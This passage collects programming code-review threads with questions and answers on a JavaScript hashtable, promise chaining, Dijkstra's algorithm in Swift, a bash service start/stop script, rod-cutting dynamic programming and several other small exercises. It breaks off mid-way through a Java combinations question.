I don't see the purpose of the Geometry3D class. Maybe it's because I don't know much about your intentions or programming for 3d, but looks like things would be more straight-forward if indices and vertices properties were directly on Primitive3D. If it make sense to separate them off because they're processed as a pair by other parts of your program, you might also consider creating a IGeometry3D interface, which the Primitive3D class can implement. This would prevent there from being any ambiguity around ownership. (Not sure if I'm describing my thoughts, clearly.)

I don't think getters and setters are bad for OOP programming. I think they're fantastic. They allow for validation of property values, pre- and post-processing when changing properties, lazy execution of calculations that aren't always necessary, and a lot of other things. Admittedly, you could do all of that with functions. But, to my thinking, an important part of programming is managing complexity and thoughtful use of accessor methods can simplify APIs, which in turn makes life easier (fewer bugs and easier to maintain).


hashtable search in JavaScript I've implemented the search/insert part of a hashtable in JavaScript.
This is in linear probing style. It resizes when the array is out of space.

var share = { bucketSize: 10 };

function hash(key){
  return key % share.bucketSize;
}

function expandArr(arr){
  share.bucketSize = share.bucketSize * 2;
  let newArr = [];
  for(let i=0; i<arr.length; i++){
    let item = arr[i];
    let key = item.key;
    hashInsert(key, item, newArr);
  }
  arr = newArr;
}

function hashInsert(key, data, arr){
  let bucketKey = hash(key);
  let hasReset = false;
  let pointer = bucketKey;
  while(true){
    if(pointer >= share.bucketSize){ // bound check
      pointer = 0;
      hasReset = true;
    }
    if(pointer === bucketKey && hasReset){ // all full
      expandArr(arr);
      bucketKey = hash(key);
      pointer = bucketKey;
      hasReset = false;
    }
    if(arr[pointer] === undefined){ // found space
      arr[pointer] = { key: key, data: data };
      break;
    }
    pointer++;
  }
}
function hashSearch(key, arr){
  let bucketKey = hash(key);
  let hasReset = false;
  let pointer = bucketKey;
  while(true){
    if(pointer === bucketKey && hasReset){ // complete cycle
      return undefined;
    }
    if(pointer >= share.bucketSize){ // bound check
      pointer = 0;
      hasReset = true;
    }
    let curr = arr[pointer];
    if(curr === undefined){ // not found
      return undefined;
    }
    if(curr.key === key){ // found it
      return curr;
    }
    pointer++;
  }
}

var arr = [];

for(var i=0; i<100; i++){
  hashInsert(i, 'data ' + i, arr);
  console.log( hashSearch(i, arr) );
}

Looks good. I'm not sure what feedback you are looking for, but here's a little:

use const where you can, instead of let
the naming is a little confusing at times, hash vs. key. Maybe if you call the hash function calcHash then you can call the value it returns a hash and not have to call it a bucketKey... or maybe the function should be calcBucketKey.
it seems like the scoping of arr may be off... especially in expandArr. I believe the argument is going to override the global definition, so I don't think that the last line that re-assigns arr is going to change the global, but rather a local variable going out of scope.
consider using the modulo operator to loop around the array. It can save some checks against the array size.


Can this code utilizing promises be written more succinctly? I've written the following code to get all .txt files in a directory and read+delete them, repeating every 15 seconds.

var fs = require("fs");
var path = require("path");
var Q = require("q");
var dir = "stuff";

var analyseFile = function(fileData, callback) { ... }; // Not important.

var deleteFile = function(filePath, callback) { ... }; // Not important.

var processStuffDir = function() {
  Q.nfcall(fs.readdir, dir).then(function(files) {
    return Q.all(
      files.filter(function(file) {
        return path.extname(file) === ".txt";
      }).map(function(file) {
        var filePath = path.join(dir, file);
        return Q.nfcall(fs.readFile, filePath).then(function(data) {
          return Q.nfcall(analyseFile, data.toString());
        }).then(function() {
          return Q.nfcall(deleteFile, filePath);
        });
      })
    );
  }).then(function() {
    setTimeout(processStuffDir, 15000);
  });
};

processStuffDir();

This works, but it's my first foray into using promises. So my question is, can this be re-written in a simpler/more succinct manner? More chaining of promises would be nice, if possible.

This is Bluebird, but it's very similar to Q in syntax. Note the automatic promisification and utility methods:

var Promise= require("bluebird");
var fs = Promise.promisify(require("fs"));
var path = require("path");

var dir = "stuff";

var analyseFile = function(fileData, callback) { ... }; // Not important.

var deleteFile = function(filePath, callback) { ... }; // Not important.

var fileOps = {
    analyse: Promise.promisify(analyseFile), // do this _once_
    delete: Promise.promisify(deleteFile)
}

var processStuffDir = function() {
  return fs.readDirAsync(dir).filter(function(files) {
        return path.extname(file) === ".txt";
  }).map(function(file){
        return path.join(dir, file)
  }).map(function(file) {
      return fs.readFileAsync(file).then(function(data) {
          return fileOps.analyse(data.toString());
      }).then(function() {
          return fileOps.delete(filePath);
      });
  }).delay(15000).then(processStuffDir);
};

processStuffDir();


Dijkstra algorithm implementation in Swift I've implemented Dijkstra's algorithm to find the minimum path between two nodes.

class Node : CustomStringConvertible {
    // unique identifier required for each node
    var identifier : Int
    var distance : Int = Int.max
    var edges = [Edge]()
    var visited = false

    var description: String {
        return "identifier: " + identifier.description + ", Edges: " + edges.count.description
    }

    init(visited: Bool, identifier: Int, edges: [Edge]) {
        self.visited = visited
        self.identifier = identifier
        self.edges = edges
    }

    static func == (lhs: Node, rhs: Node) -> Bool {
        return lhs.identifier == rhs.identifier
    }
}

class Edge {
    var from: Node // does not actually need to be stored!
    var to: Node
    var weight: Int
    var description : String {
        return "from: " + from.description + ", to: " + to.description
    }
    init(to: Node, from: Node, weight: Int) {
        self.to = to
        self.weight = weight
        self.from = from
    }
}

class Graph {
    var nodes: [Node] = []
}

// Complete the quickestWayUp function below.
func setupGraphwith(edges: [[Int]]) -> Graph {
    let graph = Graph()

    // create all the nodes
    // The first and last node need to be included, so need nodes from "to" and "from"
    let nodeNames = Set ( edges.map{ $0[0] } + edges.map{ $0[1]} )
    for node in nodeNames {
        let newNode = Node(visited: false, identifier: node, edges: [])
        graph.nodes.append(newNode)
    }

    // create all the edges to link the nodes
    for edge in edges {
        if let fromNode = graph.nodes.first(where: { $0.identifier == edge[0] }) {
            if let toNode = graph.nodes.first(where: { $0.identifier == edge[1] }) {
                let edge = Edge(to: toNode, from: fromNode, weight: edge[2])
                fromNode.edges.append(edge)
            }
        }
    }
    return graph
}

func shortestPath (source: Int, destination: Int, graph: Graph) -> Int {
    print (graph.nodes)
    var currentNode = graph.nodes.first{ $0.identifier == source }!
    currentNode.visited = true
    currentNode.distance = 0
    var toVisit = [Node]()
    toVisit.append(currentNode)
    while ( !toVisit.isEmpty) {
        toVisit = toVisit.filter{ $0.identifier != currentNode.identifier }
        currentNode.visited = true
        // Go to each adjacent vertex and update the path length
        for connectedEdge in currentNode.edges {
            let dist = currentNode.distance + connectedEdge.weight
            if (dist < connectedEdge.to.distance) {
                connectedEdge.to.distance = dist
                toVisit.append(connectedEdge.to)
                if (connectedEdge.to.visited == true) {
                    connectedEdge.to.visited = false
                }
            }
        }

        currentNode.visited = true

        //set current node to the smallest vertex
        if !toVisit.isEmpty {
            currentNode = toVisit.min(by: { (a, b) -> Bool in
                return a.distance < b.distance
            })!
        }

        if (currentNode.identifier == destination) {
            return currentNode.distance
        }
    }

    return -1
}

class dfsTests: XCTestCase {
    var simpleGraph = Graph()
    override func setUp() {
        simpleGraph = setupGraphwith(edges: [[1,2,4], [1,3,4], [3,4,3], [2,3,2], [3,5,1], [4,6,2], [5,6,3], [3,6,6] ])

    }
    func testbfsReturnVals() {

        XCTAssertEqual(shortestPath(source: 1, destination: 6, graph: simpleGraph), 8 )
    }
}

dfsTests.defaultTestSuite.run()

This is just to practice the implementation of the code, with a view to interviews. Any comments are appreciated.

The algorithm

Let's first have a look at your implementation of Dijkstra's algorithm in the

func shortestPath(source: Int, destination: Int, graph: Graph) -> Int

function:

The visited property of a node is updated, but nowhere tested. As a consequence, the distance of all neighbors of a node is updated, not only the distance of unvisited neighbors. This does not lead to wrong results (as far as I can see) but causes unnecessary comparisons.
It is unclear to me what this is for:

        if (connectedEdge.to.visited == true) {
            connectedEdge.to.visited = false
        }

The  Dijkstra algorithm does not mark nodes as unvisited, and I cannot see when the condition should be true at all.
The algorithm does not work if start node and destination node are identical. This can be fixed by computing the next current node (and comparing it with the destination) at the beginning of the main loop, not at the end. This also removes the necessity to check if !toVisit.isEmpty twice (as the loop condition and again inside the loop).
The distance of the initial node is set to zero twice.

Here is a possible implementation which fixes the above issues:

func shortestPath(source: Int, destination: Int, graph: Graph) -> Int {

    let startNode = graph.nodes.first{ $0.identifier == source }!
    startNode.distance = 0
    var toVisit = [startNode]

    while (!toVisit.isEmpty) {
        // Select node with smallest distance.
        let currentNode = toVisit.min(by: { (a, b) -> Bool in
            return a.distance < b.distance
        })!

        // Destination reached?
        if currentNode.identifier == destination {
            return currentNode.distance
        }

        // Mark as visited.
        currentNode.visited = true
        toVisit = toVisit.filter { $0.identifier != currentNode.identifier }

        // Update unvisited neighbors.
        for edge in currentNode.edges where !edge.to.visited {
            let neighbor = edge.to
            toVisit.append(neighbor)
            let dist = currentNode.distance + edge.weight
            if (dist < neighbor.distance) {
                neighbor.distance = dist
            }
        }

    }

    // Destination not reachable.
    return -1
}

There is one more issue: The toVisit array (which is build “on the fly” while traversing the graph) can contain duplicate elements. A possible fix is to use a set instead of an array. This would required the Node class to be Hashable – see below.

Code and design improvements

Your function returns -1 if there is no path from the start to the destination node. The Swift way of returning a value or failure is to return an optional, where nil means “no result.”
All properties of class Edge are never mutated after object creation, they should be declared as constants (with let).
The Node initializer needs only the identifier – and that should be a constant property.
It is not possible to compute the shortestPath() function multiple times (with different parameters) because it relies on the visited and distance property to be initialized.
I would replace the function

func setupGraphwith(edges: [[Int]]) -> Graph

by an initalizer of the Graph class, and

func shortestPath(source: Int, destination: Int, graph: Graph) -> Int

by a method of that class:

 class Graph {

    init(edgeList: [[Int]])
    func distance(from: Int, to: Int) -> Int?
}

The usage would then be

let graph = Graph(edgeList: ...)
let distance = graph.distance(from: 1, to: 6)

The optional bindings in setupGraphwith(edges:)

if let fromNode = graph.nodes.first(where: { $0.identifier == edge[0] })
if let toNode = graph.nodes.first(where: { $0.identifier == edge[1] })

cannot fail because those nodes were all created before. Therefore a forced unwrap would be appropriate:

let fromNode = graph.nodes.first(where: { $0.identifier == edge[0] })!
let toNode = graph.nodes.first(where: { $0.identifier == edge[1] })!

An alternative would be to have a “find or create” method in the Graph class.

Performance improvements

At various points, arrays are used to store, locate, and remove nodes. Each lookup requires a traversal of the array. Using sets would be more efficient. That requires the Node class to be Hashable. I would base equality (and consequently, the hash value) on object identity instead of the numerical identifier.

A priority queue would be more efficient to determine the node with the currently minimum distance.

Putting it all together

Summarizing the above suggestions (with the exception of the priority queue) the code code look like this. I have only omitted the CustomStringConvertible conformance for brevity.

class Node {

    let identifier: Int
    var distance = Int.max
    var edges = [Edge]()
    var visited = false

    init(identifier: Int) {
        self.identifier = identifier
    }
}

extension Node: Hashable {
    static func == (lhs: Node, rhs: Node) -> Bool {
        return lhs === rhs
    }

    func hash(into hasher: inout Hasher) {
        hasher.combine(ObjectIdentifier(self).hashValue)
    }
}

class Edge {
    let from: Node
    let to: Node
    let weight: Int

    init(to: Node, from: Node, weight: Int) {
        self.to = to
        self.from = from
        self.weight = weight
    }
}

class Graph {
    var nodes: Set<Node>

    // Find or create node with the given identifier
    func node(identifier: Int) -> Node {
        if let node = nodes.first(where: { $0.identifier == identifier }) {
            return node
        } else {
            let node = Node(identifier: identifier)
            nodes.insert(node)
            return node
        }
    }

    init(edgeList: [[Int]]) {
        nodes = []
        for edgeDescription in edgeList {
            let fromNode = node(identifier: edgeDescription[0])
            let toNode = node(identifier: edgeDescription[1])
            let edge = Edge(to: toNode, from: fromNode, weight: edgeDescription[2])
            fromNode.edges.append(edge)
        }
    }

    func distance(from: Int, to: Int) -> Int? {
        guard let fromNode = nodes.first(where: { $0.identifier == from }) else {
            return nil
        }
        guard let toNode = nodes.first(where: { $0.identifier == to }) else {
            return nil
        }

        if fromNode == toNode { return 0 }

        for node in nodes {
            node.visited = false
            node.distance = Int.max
        }

        fromNode.distance = 0
        var toVisit = Set([fromNode])

        while !toVisit.isEmpty {
            // Select node with smallest distance.
            let currentNode = toVisit.min(by: { (a, b) -> Bool in
                return a.distance < b.distance
            })!

            // Destination reached?
            if currentNode == toNode { return currentNode.distance }

            // Mark as visited.
            currentNode.visited = true
            toVisit.remove(currentNode)

            // Update unvisited neighbors.
            for edge in currentNode.edges where !edge.to.visited {
                let neighbor = edge.to
                toVisit.insert(neighbor)
                let dist = currentNode.distance + edge.weight
                if (dist < neighbor.distance) {
                    neighbor.distance = dist
                }
            }
        }

        return nil
    }
}


Initializing more than one instance object at a time in init method I have a RadioStation class file and a view controller where I create two station objects based on this class, one for FM and one for AM.

I created both of these station objects from within the same required init method. I'm not sure this was this the best way to do this, for example can you imagine if you wanted 8 such objects, this would just get very clunky. Is the issue rather that I am creating them in the view controller, and should I have in fact created separate subclass files for each and init them in those?
Or should I have created two separate init methods, one for each new object?

RadioStation Class File: RadioStation.swift

import UIKit

class RadioStation: NSObject {

    var name: String
    var frequency: Double

    override init() {  //init class method to set default values.
        name = "Default"
        frequency = 100
    }

    static var minAMFFrequency: Double = 520.0
    static var maxAMFFrequency: Double = 1610.0
    static var minFMFFrequency: Double = 88.3
    static var maxFMFFrequency: Double = 107.9

    func isBandFM() -> Int {
        if frequency >= RadioStation.minFMFFrequency && frequency <= RadioStation.maxAMFFrequency {
            return 1 //FM
        } else {
            return 0 //AM
        }
    }

}

View Controller Class

import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var stationName: UILabel!
    @IBOutlet weak var stationFrequency: UILabel!
    @IBOutlet weak var stationBand: UILabel!

    var myStation: RadioStation

    var myStationAM: RadioStation //second object variable

    required init?(coder aDecoder: NSCoder) {
        myStation = RadioStation()
        myStationAM = RadioStation()
        myStation.frequency = 104.7
        myStationAM.frequency = 600.2
        myStation.name = "FM1"
        myStationAM.name = "AM1"
        super.init(coder: aDecoder)
    }

    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.
    }

    @IBAction func buttonClick(_ sender: Any) {
        stationName.text = myStation.name //set top left label text to name property of myStation object instance
        stationFrequency.text = "\(myStation.frequency)"
        if myStation.isBandFM() == 1 {
            stationBand.text = "FM'"
        } else {
            stationBand.text = "AM"
        }
    }

    @IBAction func buttonClickAM(_ sender: Any) {
        stationName.text = myStationAM.name
        stationFrequency.text = "\(myStationAM.frequency)"
        if myStationAM.isBandFM() == 1 {
            stationBand.text = "FM"
        } else {
            stationBand.text = "AM"
        }
    }

}

A couple of thoughts:

You are conceiving the band as being something derived from the frequency. While this may be technically correct, from a user perspective, you generally choose a band and then choose a frequency within that band. So, I might have a model that reflects this:

typealias RadioFrequency = Decimal

enum RadioBand {
    case am
    case fm
}

extension RadioBand {
    var allowedRange: ClosedRange<RadioFrequency> {
        switch self {
        case .am: return 520.0 ... 1610.0
        case .fm: return 88.3 ... 107.9
        }
    }
}

struct RadioStation {
    let name: String
    let band: RadioBand
    let frequency: RadioFrequency

    init?(name: String, band: RadioBand, frequency: RadioFrequency) {
        guard band.allowedRange ~= frequency else { return nil }

        self.name = name
        self.band = band
        self.frequency = frequency
    }
}

and

guard let station = RadioStation(name: "KPCC", band: .fm, frequency: 89.3) else {
    // handle error here

    return
}

If you really wanted to compute the band from the frequency, you could do:

enum RadioBand: CaseIterable {
    case am
    case fm
}

extension RadioBand {
    var allowedRange: ClosedRange<RadioFrequency> {
        switch self {
        case .am: return 520.0 ... 1610.0
        case .fm: return 88.3 ... 107.9
        }
    }

    static func band(for frequency: RadioFrequency) -> RadioBand? {
        RadioBand.allCases.first { $0.allowedRange ~= frequency }
    }
}

struct RadioStation {
    let name: String
    let frequency: RadioFrequency
    var band: RadioBand? { RadioBand.band(for: frequency) }

    init?(name: String, frequency: RadioFrequency) {
        guard RadioBand.band(for: frequency) != nil else { return nil }

        self.name = name
        self.frequency = frequency
    }
}

Minor details in the above:

I wouldn’t generally subclass NSObject unless there was a compelling reason to do so.
Whether you make it a class or struct is up to you, but we often we would lean towards value types and immutable properties unless otherwise needed.
I’m abstracting the frequency ranges for bands out of the RadioStation type. This is behavior of radio bands, not of individual radio stations, themselves.
The radio bands might be better represented as an enumeration rather than an integer that has only two values, either 0 or 1.

In general, if you find yourself inserting comments to explain cryptic values (e.g. where you note that 1 represents “FM”), that’s a good sign that you should adopt an enumeration, which makes its intent clear.
Note, I made RadioFrequency to be Decimal, rather than Double. I did that because you really don’t need floating point math, but rather want to accurately represent decimal numbers.

FWIW, Double can introduce some strange behavior. Let’s say that you started at the lower bound of your AM frequencies and bumped it up by 0.1 ten times:

var value: Double = 520.0
for _ in 0 ..< 10 {
    value += 0.1
}

print(value, value == 521.0) // 521.0000000000002 false

The result is not 521. But, if you use Decimal, you get the expected behavior:

var value: Decimal = 520.0
for _ in 0 ..< 10 {
    value += 0.1
}

print(value, value == 521.0) // 521 true

See What Every Computer Scientist Should Know About Floating-Point Arithmetic.
I’d make the initializer failable in case the band didn’t match the frequency (or the band couldn’t be inferred from the supplied frequency).
I would not be inclined to have the RadioStation to have default values. That’s not a concept that makes sense. Sure, if you wanted your radio to default to a particular station, then fine, it would do that. But that’s not RadioStation behavior, but rather behavior of the radio.

You said:

  ... imagine if you wanted 8 such objects, this would just get very clunky.

If you had many, you might use collections. For example:

let stations: [RadioStation]

Or you might wrap it in a custom type that indicated the functional intent. For example, let’s imagine that your radio had programmable presets, then the model might be:

struct RadioPresets {
    var stations: [RadioStation]
}

It just depends upon what these various stations are for. But don’t shy away from simpler fundamental object types just because you might need multiple ones. If the concept of a single radio station makes sense (which it does, IMHO), then stick with a simple radio station object, and compose it into more complex objects/models as needed later.

But, as a generally programming principle, we generally prefer simple, cohesive types and compose complex objects from these simple objects (e.g. a collection of 8 radio stations).


Small bash script to start and stop named services I've been working on ubuntu since many years but not quite familiar with bash scripting. My development tools involve servers like nginx and apache, the mysql database and beanstalkd. Obviously, I just can't keep all these services running always and overwhelm my CPU capacity!, so I need a way of starting a bunch of these services without having to write poetry like:

sudo service apache2 start
sudo service mysql start
..blah blah..

Hence I've written this script called kick (no laughs!), so I can just pass it some parameters and say:

kick start apache2 mysql
# OR
kick stop nginx php-fpm

Since the starting mechanism of each of these services are different, I had to deal each one in a separate if condition. I would like to know from you bash experts whether this is the correct way to do it:

filename: kick

#!/bin/bash

function docmd()
{
    #echo 'func',"$1","$2"
    if [ "$1" = "nginx" ];
    then
        if [ "$2" = "sh" ]; then
            /home/prahlad/programs/nginx-1.6.0/sbin/nginx  -s stop
        elif [ "$2" = "re" ]; then
            /home/prahlad/programs/nginx-1.6.0/sbin/nginx
            sleep 1
            /home/prahlad/programs/nginx-1.6.0/sbin/nginx  -s stop
        else
            /home/prahlad/programs/nginx-1.6.0/sbin/nginx
        fi
    elif [ "$1" = "php-fpm" ]
    then
        if [ "$2" = "sh" ]; then
            pkill php-fpm
        elif [ "$2" = "re" ]; then
            pkill php-fpm
            sleep1
            /home/prahlad/programs/php-5.4/sbin/php-fpm
        else
            /home/prahlad/programs/php-5.4/sbin/php-fpm
        fi
    elif [ "$1" = "apache2" ]
    then
        if [ "$2" = "sh" ]; then
            sudo service apache2 stop
        elif [ "$2" = "re" ]; then
            sudo service apache2 restart
        else
            sudo service apache2 start
        fi
    elif [ "$1" = "mysql" ]
    then
        if [ "$2" = "sh" ]; then
            sudo service mysql stop
        elif [ "$2" = "re" ]; then
            sudo service mysql restart
        else
            sudo service mysql start
        fi
    else
        echo "Unrecognized verb",$1,$2
    fi
}

cmd=""
if [ "$1" == "restart" ]; then
    cmd="re"
elif [ "$1" == "stop" ]; then
    cmd="sh"
elif [ "$1" == "start" ]; then
    cmd="st"
fi

for name in $@
do
    if [ "$name" != "start" ] && [ "$name" != "stop" ] && [ "$name" != "restart" ]; then
        docmd $name $cmd
    fi
done

Don't Repeat Yourself

You start/stop/restart apache2 and mysql the same way, so you don't need to duplicate their code. You could create a generalized function that can handle these or any standard service well, like this:

startstop_service() {
    cmd=$1
    name=$2
    sudo service $name $cmd
}

Naming

You renamed the universal and intuitive command names start/stop/restart to the shorter but kind of obscure st/sh/re. I recommend to stick with the originals. Among other things, the startstop_service in my previous point will work out of the box.

The case statement

The case statement in Bash is more concise and easier to read than many if-elif-elif-else statements, for example:

case "$1" in
    start|stop|restart) cmd=$1 ;;
    *) echo "usage: $0 [start|stop|restart] servicenames"; exit 1
esac
shift

Minor things

Your script doesn't use any Bash specific features, /bin/sh would be enough
It's better to validate the cmd parameter once, instead of for every single service name as in your code
If the cmd is invalid, it's good to exit the script with a non-zero exit code (typically exit 1), to indicate failure
You can simplify for name in "$@"; do as for name; do

Suggested implementation

Here's an alternative implementation using the above suggestions:

#!/bin/sh -e

NGINX=/home/prahlad/programs/nginx-1.6.0/sbin/nginx
PHP=/home/prahlad/programs/php-5.4/sbin/php-fpm
PHP_NAME=$(basename $PHP)

startstop_service() {
    cmd=$1
    name=$2
    sudo service $name $cmd
}

startstop_nginx() {
    cmd=$1
    case $cmd in
        stop) $NGINX -s stop ;;
        start) $NGINX ;;
        restart)
            $NGINX -s stop
            sleep 1
            $NGINX
            ;;
    esac
}

startstop_php() {
    cmd=$1
    case $cmd in
        stop) pkill $PHP_NAME ;;
        start) $PHP ;;
        restart)
            pkill $PHP_NAME
            sleep 1
            $PHP
            ;;
    esac
}

case "$1" in
    start|stop|restart) cmd=$1 ;;
    *)
        shift
        servicenames=${@-servicenames}
        echo "usage: $0 [start|stop|restart] $servicenames"
        exit 1
esac
shift

for name; do
    case "$name" in
        php-fpm) startstop_php $cmd ;;
        nginx) startstop_nginx $cmd ;;
        *) startstop_service $cmd $name ;;
    esac
done

Notice that apache2 and mysql are not even mentioned in this script, they are automatically handled by the generic startstop_service function. The script will work with any other standard service too.

As @vnp pointed out, the sleep 1 calls are dodgy, I did not fix that. To fix that, look for pid files created by those services, and use them to check if the service is still running or not.

The bigger picture

Ideally, you should standardize everything: make it possible to start/stop/restart your custom php-fpm and nginx just like other services. That way you can remove the service-specific logic from this script (doesn't really belong here anyway), and then it can work for any service you throw at it. Unfortunately I don't know enough Ubuntu to guide you, but I'm sure the guys on askubuntu.com can help with that.


Program that prints an ASCII pyramid I have written the following program in C# to display an ASCII pyramid.

public static void method1()
{
  int k;
  int kCond = 5;
  int i;
  int inc = 0;
  for (int p = 0; p <=5; p++)
  {
    for(k = 0; k <= kCond; k++)
    {
         Console.Write(" ");
    }
     kCond--;
     for(i=0; i<=inc; i++)
     {
        Console.Write("*")
     }
     inc +=2;
     Console.WriteLine();
  }
}

Output:

         *
        ***
       *****
      *******
     *********
    ***********

My question is, is this good code from a performance point of view, or not? How could I improve it?

I took your code and started condensing it, and came up with the following improvements that could be made:

Change the inner loops to use the string constructor that takes a character and a count instead of using a loop
Give the method and variables more meaningful names
Add a size parameter that can be passed to the method
Put declarations and incrementing of variables in the for statement
Use math operations on the counter rather than tracking multiple variables that increment at constant rates relative to the counter
Use Enumerable.Range as a looping mechanism to select the strings along with string.Concat to join them together
Have the method return a string so it can be written by the client to other things (like a log file or another control)

Code:

public static string GetPyramid(int size)
{
    return string.Concat(Enumerable.Range(0, size).Select(count =>
        new string(' ', size - count) +
        new string('*', count * 2 + 1) +
        Environment.NewLine));
}


Dealing with DB Through EF within Winforms I have the following code which uses EntityFramework to reach out to a DB and retrieve data to populate into a Winform application gridview.

I am still quite new to C# and especially abstracting code out of code behind/writing loosely coupled code.

Could the following code be reviewed and feedback given on the methods I am using to construct the application in a methodical way?

MainScreenForm

public partial class MainScreenForm : MainScreenController
{
    private static readonly ILog log = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);

    public MainScreenForm()
    {
        InitializeComponent();
    }

    private void MainScreenForm_Load(object sender, EventArgs e)
    {
        log.Debug("Main Screen Launched");
        PopulateGrid();
        AdjustGridviewVisuals();
    }

    private void AdjustGridviewVisuals()
    {
        metroGrid1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
        metroGrid1.AllowUserToAddRows = false;
        metroGrid1.RowHeadersVisible = false;

        this.metroGrid1.Columns["Id"].Visible = false;
        this.metroGrid1.Columns["ExamId"].Visible = false;
        this.metroGrid1.Columns["Comments"].Visible = false;
        this.metroGrid1.Columns["CreationDate"].Visible = false;
        this.metroGrid1.Columns["LastModified"].Visible = false;
        this.metroGrid1.Columns["PatientState"].Visible = false;
    }

    private void PopulateGrid()
    {
        metroGrid1.DataSource = GetListOfPatients();
    }
}

MainScreen Controller

public class MainScreenController : MetroForm
{
    private static readonly ILog log = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);

    private TrollyPatientDbContext db = new TrollyPatientDbContext();

    public List<Patient> GetListOfPatients()
    {
        log.Debug("Attempting to retreve a list of patients from SQL");
        var patients = db.Patients;
        return patients.ToList();
    }
}

DbContext

public class TrollyPatientDbContext : DbContext
{
    public TrollyPatientDbContext() : base("PrimaryConnection")
    {
    }
    public DbSet<Exam> Exams { get; set; }
    public DbSet<Patient> Patients { get; set; }
}

The models are just standard "POCO" (I think that's what it is called).

Is the way I have extended the controller to allow access to methods within it a good way to do this work or should I being using static methods instead?

Is this considered a way of constructing to an MVP practice?

this.metroGrid1.Columns["Id"].Visible = false;
    this.metroGrid1.Columns["ExamId"].Visible = false;
    this.metroGrid1.Columns["Comments"].Visible = false;
    this.metroGrid1.Columns["CreationDate"].Visible = false;
    this.metroGrid1.Columns["LastModified"].Visible = false;
    this.metroGrid1.Columns["PatientState"].Visible = false;

These lines have a lot of repetition. It would be better to create an array of the column names, and then loop over the array and set each one.

    var patients = db.Patients;

What's the purpose of having a temporary variable here? You're not even declaring its type.


Finding the rod pieces in the rod cut issue I have been reading the chapter 15 of "Introduction to Algorithms" (3rd edition) by Cormen, etc. The chapter 15 is about dynamic programming, and the first example they show us is the "rod cut problem".

Now, I have spent some time trying to understand it, but mostly trying to understand the pseudocode, and why it really works. I think dynamic programming is probably the most difficult design technique to put in practice that I have seen so far. The ideas are quite easy, but applying them is quite a nightmare, at least for me. You can choose between memoisation or a bottom-up approach, but you need to have a clear and deep understanding of the problem, and usually this requires quite a lot of time, but if you are in an exam...

From now on, I will assume that you know what the rod cut problem is.

Now, I wanted to create, based on a pseudocode from the book, an algorithm for the rod cutting problem that actually returns a list of the indices where we can find the small pieces that we have used to maximise the total price.

I have used Python, which simplifies quite a lot the process of writing programs, in general.

The following is the algorithm that I came up with (which is really similar to the pseudo code that the authors provide to find the maximum revenue for a rod of a certain length, but that algorithm does not calculate and returns which smaller pieces maximise the revenue):

def extended_bottom_up_rod_cut(prices, n):
    revenues = [-sys.maxsize] * (n + 1)

    s = [[]] * (n + 1)

    revenues[0] = 0
    s[0] = [0]

    for i in range(1, n + 1):

        max_revenue = -sys.maxsize  # a big small number

        for j in range(1, i + 1):

            # Note that j + (i - j) = i.
            # What does this mean, or why should this fact be useful?
            # Note that at each iteration of the outer loop,
            # we are trying to find the max_revenue for a rod of length i
            # (and we want also to find which items we are including to obtain that max_revenue).
            # To obtain a rod of size i, we need at least 2 other smaller rods,
            # unless we do not cut the rod.
            # Now, to obtain a rod of length i,
            # we need to put together a rod of length j < i and a rod of length i - j < j,
            # because j + (i - j) = i, as we stated at the beginning.
            if max_revenue < prices[j] + revenues[i - j]:

                max_revenue = prices[j] + revenues[i - j]

                if prices[i - j] != 0:
                    s[i] = [j, i - j]  # Indices of prices such that price[j] + price[i - j] = max_revenue of i
                else:
                    s[i] = [j]

        revenues[i] = max_revenue

    return revenues, s

First of all, is the algorithm correct?

Apparently, it seems that it returns the right answer, but I am a bit confused:
as the size of the rod increases, we are always going to just use at most 2 small pieces, and no more than that, but why such an algorithm should give the right answer? Why using 3 or more pieces would not give the right answer?

I don't get this part of the code:

            if prices[i - j] != 0:
                s[i] = [j, i - j]  # Indices of prices such that price[j] + price[i - j] = max_revenue of i
            else:
                s[i] = [j]

Why not just use have s just store the best size, e.g.:

            s[i] = j

To get the list of parts for a certain size rod, just use:

def best_rod_parts(s, n):
  parts = []
  while n > 0:
    parts.append( s[n] )
    n = n - s[n]
  return parts

where s is the array returned from your solving procedure.

Here is how I would write it:

def solve(prices, n):
    revenue = [0] * (n+1)  # can assume price >= 0
    size = [0] * (n+1)     # best length to cut

    for i in range(1,n+1):
      bestRev, bestSize = 0, 0  # best solution so far

      for j in range(1,i+1):
        rev = price[j] + revenue[i-j]
        if rev > bestRev:
          bestRev = rev
          bestSize = j
      revenue[i] = bestRev
      size[i] = bestSize

If you want s to contain the list of pieces, then you should modify the code this way:

def solve(prices, n):
  revenue = [0] * (n+1)
  sizes = [ [] ] * (n+1)

  for i in range(1,n+1):
    bestRev, bestSize = 0,0
    for j in range (1,i+1):
      rev = prices[j] + revenue[i-j]
      if rev > bestRev:
        bestRev = rev
        bestSize = j
    sizes[i] = sizes[i-bestSize] + [bestSize]
  return revenue, sizes


Transforming a stl vector according to its neighbors I have a piece of C++ code that transforms a vector where an element only stays one if itself and both of it's neighbors are one as well. End-points are handled as if the missing element is one. For example:

old: 1 1 0 1 1 1 0 1 1 0
new: 1 0 0 0 1 0 0 0 0 0

The following block of code works, but I'm not sure if it is optimal. We can assume that block and state are of type std::vector<int>, both of size N, and only contain elements 0 or 1:

  // Handle the end-points
  block[0]   = state[0]*state[1];
  block[N-1] = state[N-2]*state[N-1];

  // Set the cooperative behavior
  for(int i=1;i<N-1;i++)
    block[i] = state[i-1]*state[i]*state[i+1];

Is there a better way to do this? Should I be using some kind of trickery with std::accumulate and the like? Profiling show that this piece of code is in the inner-block of my simulation and takes up a sizable fraction of my runtime.

What you have is probably good enough. If you want to try something crazy, you could always do:

boost::range::transform(boost::irange(0, N), block.begin(), [&](const int i){
    int pre = i-1 >= 0 ? state[i-1] : 1;
    int post = i+1 < N ? state[i+1] : 1;
    return pre * state[i] * post;
});

Not sure I prefer that to the simple loop that you have, but just throwing it out as a potential alternative.


all combinations of all sizes less than N I want to generate all possible combinations (without duplicates) of all sizes less or equal than \$N\$, so for example if \$N=3\$ I want to generate the following
\$\{1\},\{2\},\{3\},
\{1,2\},\{1,3\},\{2,3\},
\{1,2,3\}.\$

I created the following algorithm in Java. Is there a more optimal way to generate?

public class Main {

public static void main(String[] args) {

    int n = 3;

    for (int k=1; k <= n; k++) {
        System.out.println("of size "+k);
